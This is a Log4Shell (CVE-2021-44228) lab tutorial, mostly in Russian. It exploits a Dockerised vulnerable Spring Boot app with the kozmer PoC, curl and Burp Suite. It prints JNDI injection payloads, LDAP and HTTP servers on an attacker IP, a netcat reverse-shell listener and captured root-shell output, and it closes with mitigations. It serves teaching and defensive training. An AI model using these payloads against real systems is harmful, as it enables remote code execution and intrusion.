使用 Docker、Kali Linux、Burp Suite 和 log4j-shell-poc 利用和理解 Log4Shell (CVE-2021-44228) 的实践实验室。仅用于受控实验室环境中的教学和防御性培训。
Log4Shell (CVE-2021-44228) — одна из самых значительных уязвимостей удалённого выполнения кода из когда-либо раскрытых. Она затрагивает Apache Log4j 2, широко используемый фреймворк для логирования на Java, и позволяет злоумышленникам выполнять произвольный код, злоупотребляя JNDI-запросами в сообщениях логов.
Это руководство предоставляет полную воспроизводимую демонстрационную лабораторию с использованием:
log4j-shell-pocОно предназначено только для обучения, исследований, тренировок и повышения осведомлённости в области защиты в контролируемых средах. Структура и стиль следуют тому же духу, что и README сопутствующей лаборатории «Shellshock».
Эта лаборатория должна выполняться только в контролируемой среде, где у вас есть явное разрешение (ваша собственная лаборатория, виртуальные машины в классе и т.д.).
Log4Shell (CVE-2021-44228) — это критическая уязвимость удалённого выполнения кода в Apache Log4j 2.
Проблема возникает, потому что уязвимые версии Log4j2 интерпретируют управляемые атакующим строки, такие как:
${jndi:ldap://ATTACKER_IP:1389/a}
Когда эта строка логируется, Log4j:
В этой лаборатории вы:
log4j-shell-poc.curl и через Burp Suite.К концу этой лаборатории вы сможете:
Все компоненты работают поверх вашей существующей виртуальной лаборатории. В данной статье мы предполагаем:
| Компонент | Роль / Описание | Инструменты / Службы | Пример адресации |
|---|---|---|---|
| Виртуальная машина Kali Linux (атакующий + хост) | Запускает PoC эксплойта, LDAP-сервер, HTTP-сервер, слушатель Netcat, Burp Suite | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (пример IP Kali) |
| Уязвимое веб-приложение Log4j2 | Цель; веб-приложение Spring Boot, уязвимое к Log4Shell | Docker-образ: ghcr.io/christophetd/log4shell-vulnerable-app | Доступно по адресу http://127.0.0.1:8080 |
Ключевая идея
Атакующий внедряет:
${jndi:ldap://192.168.1.4:1389/a}
в HTTP-заголовок. Уязвимое приложение логирует его с помощью Log4j2 → выполняет JNDI LDAP-запрос к 192.168.1.4:1389 → загружает вредоносный класс с http://192.168.1.4:8000 → выполняет класс, который открывает обратную оболочку обратно на 192.168.1.4:9001.
На Kali вам нужно:
nc).В этом руководстве мы предполагаем, что IP Kali:
192.168.1.4
Если ваш IP отличается, скорректируйте все команды соответственно.
PoC полагается на Java SE 8 Update 202 (JDK 1.8.0_202), поскольку более поздние версии Java ограничивают поведение удалённой загрузки классов, используемое этим эксплойтом.
Даже если в Kali уже установлен OpenJDK 21 (или аналогичный), вам всё равно нужно установить 8u202 отдельно.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
Корень зеркала:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Загрузите tarball для Linux x64 (≈185 МБ):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # должно быть ~185M
/usr/bin/jdk1.8.0_202sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
Опция --strip-components=1 удаляет корневой каталог из архива, так что файлы попадают непосредственно в /usr/bin/jdk1.8.0_202.
/usr/bin/jdk1.8.0_202/bin/java -version
Ожидаемый результат:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
Если вы видите это, JDK 1.8.0_202 установлен правильно.
В новом терминале на Kali (вы можете оставаться в ~/Log4Shell):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
Вы должны увидеть логи, похожие на:
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/ из Kali.Быстрая проверка:
curl http://127.0.0.1:8080/
Вы можете увидеть Whitelabel Error Page (HTTP 400). Это нормально – всё, что нам нужно, это работающее приложение, которое логирует запросы.
log4j-shell-pocВ новом терминале:
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
Проверьте файлы:
ls
# poc.py, target/, README и т.д. Exploit.java будет сгенерирован позже.
poc.py для использования JDK 1.8.0_202По умолчанию poc.py ожидает найти локальный JDK в директории с именем jdk1.8.0_20 внутри репозитория. Вместо этого вы установили JDK 8u202 в /usr/bin/jdk1.8.0_202, поэтому вам нужно обновить скрипт.
poc.py в редактореnano poc.py
Найдите jdk1.8.0_20 (в nano: Ctrl+W, введите jdk1.8.0_20, нажмите Enter).
Вы должны найти три вхождения, такие как:
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
Замените их на:
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])
exit_code = subprocess.call([
"/usr/bin/jdk1.8.0_202/bin/java",
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
"/usr/bin/jdk1.8.0_202/bin/java",
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
Сохраните и выйдите:
Ctrl + O → EnterCtrl + XТеперь PoC использует JDK 1.8.0_202 из /usr/bin.
Из ~/Log4Shell/log4j-shell-poc:
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
Параметры:
--userip – ваш IP Kali (атакующий): например 192.168.1.4.--webport – порт для встроенного HTTP-сервера: 8000.--lport – порт, к которому подключается полезная нагрузка: 9001.Если всё настроено правильно, вы должны увидеть что-то вроде:
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
Важно:
LDAP-сервер прослушивает порт 1389.
HTTP-сервер прослушивает порт 8000.
Напечатана точная полезная нагрузка для внедрения:
${jndi:ldap://192.168.1.4:1389/a}
Оставьте этот терминал работающим.
Откройте ещё один новый терминал на Kali:
nc -nvlp 9001
Вы должны увидеть:
listening on [any] 9001 ...
Этот слушатель будет принимать обратную оболочку от уязвимого приложения.
На данный момент у вас должно быть:
poc.py, запущенный с LDAP (1389) и HTTP (8000).curlСначала докажите, что эксплойт работает, используя прямой HTTP-запрос.
В новом терминале (или используйте один из доступных):
curl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
Что происходит:
X-Api-Version.${jndi:ldap://192.168.1.4:1389/a} и выполняет JNDI LDAP-запрос.poc.py) отвечает ссылкой на вредоносный Java-класс, размещённый на вашем HTTP-сервере.192.168.1.4:9001 и запускает оболочку.В случае успеха ваш терминал Netcat покажет:
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...
Теперь у вас есть root-оболочка внутри Docker-контейнера.
Попробуйте:
id
hostname
ls /
Выйдите с помощью:
exit
Netcat вернётся в режим прослушивания.
Теперь продемонстрируйте тот же путь эксплуатации с помощью браузера, опосредованного Burp Suite.
Запустите Burp Suite на Kali.
В Burp убедитесь, что слушатель прокси работает на 127.0.0.1:8080.
В Firefox:
127.0.0.1, Порт: 8080.127.0.0.1.В Burp → Proxy → Intercept, убедитесь, что Intercept включён.
В Firefox перейдите по адресу:
http://127.0.0.1:8080/
Burp покажет перехваченный запрос, например:
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 ...
...
В Repeater измените запрос, чтобы включить заголовок X-Api-Version:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Примечания:
192.168.1.4 на ваш фактический IP Kali, если он отличается.${} – они должны выглядеть точно так, как показано.Connection: close упрощает задачу (необязательно).poc.py и слушатель Netcat всё ещё работают.Вы снова можете увидеть страницу ошибки 400 Whitelabel – это нормально.
Проверьте ваш терминал Netcat:
listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...
Вы снова получили root-оболочку на контейнере, на этот раз с помощью HTTP-запроса, изменённого через Burp, что отражает реалистичный рабочий процесс веб-эксплуатации.
Атакующий формирует полезную нагрузку JNDI:
${jndi:ldap://192.168.1.4:1389/a}
Уязвимое приложение логирует эту строку с помощью Log4j2.
Log4j2 интерпретирует ${jndi:...} и выполняет JNDI-запрос.
Запрос использует LDAP для связи с LDAP-сервером атакующего на 192.168.1.4:1389.
LDAP-сервер (marshalsec) отвечает javaNamingReference, указывающим на контролируемый атакующим класс, размещённый через HTTP, например:
http://192.168.1.4:8000/Exploit.class
JVM жертвы загружает и загружает этот класс.
Конструктор класса открывает сокет обратно на 192.168.1.4:9001 и привязывает к нему /bin/sh.
Слушатель Netcat атакующего принимает входящее соединение и получает удалённую root-оболочку внутри контейнера.
В реальных средах следует применять несколько уровней защиты.
Для всё ещё уязвимых развёртываний добавьте:
-Dlog4j2.formatMsgNoLookups=true
(Где применимо – обратите внимание, что не все уязвимые конфигурации исправляются этим флагом в одиночку.)
JndiLookup из JAR-файлов log4j-coreВ качестве меры защиты в глубину:
zip -q -d log4j-core-*.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi: или ${${lower:j}${upper:ndi}:.Краткий обзор команд, использованных в этой лаборатории.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz
sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
/usr/bin/jdk1.8.0_202/bin/java -version
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
poc.py (сводка)Замените:
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java") # два использования
На:
"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
nc -nvlp 9001
curlcurl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
${jndi:ldap://192.168.1.4:1389/a}
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
| Описание | Изображение |
|---|---|
| Установка JDK / настройка среды | ![]() |
| Запущенный скрипт PoC (запуск полезной нагрузки) | ![]() |
| Работающее уязвимое веб-приложение Tomcat | ![]() |
| Обновление скрипта эксплойта PoC | ![]() |
kozmer/log4j-shell-pocchristophetd/log4shell-vulnerable-appУчебная лаборатория Log4Shell (CVE-2021-44228) – создана с заботой для студентов, защитников и этичных хакеров по всему миру.
Сделано с любовью:
Хайтам из Омана ❤️🇴🇲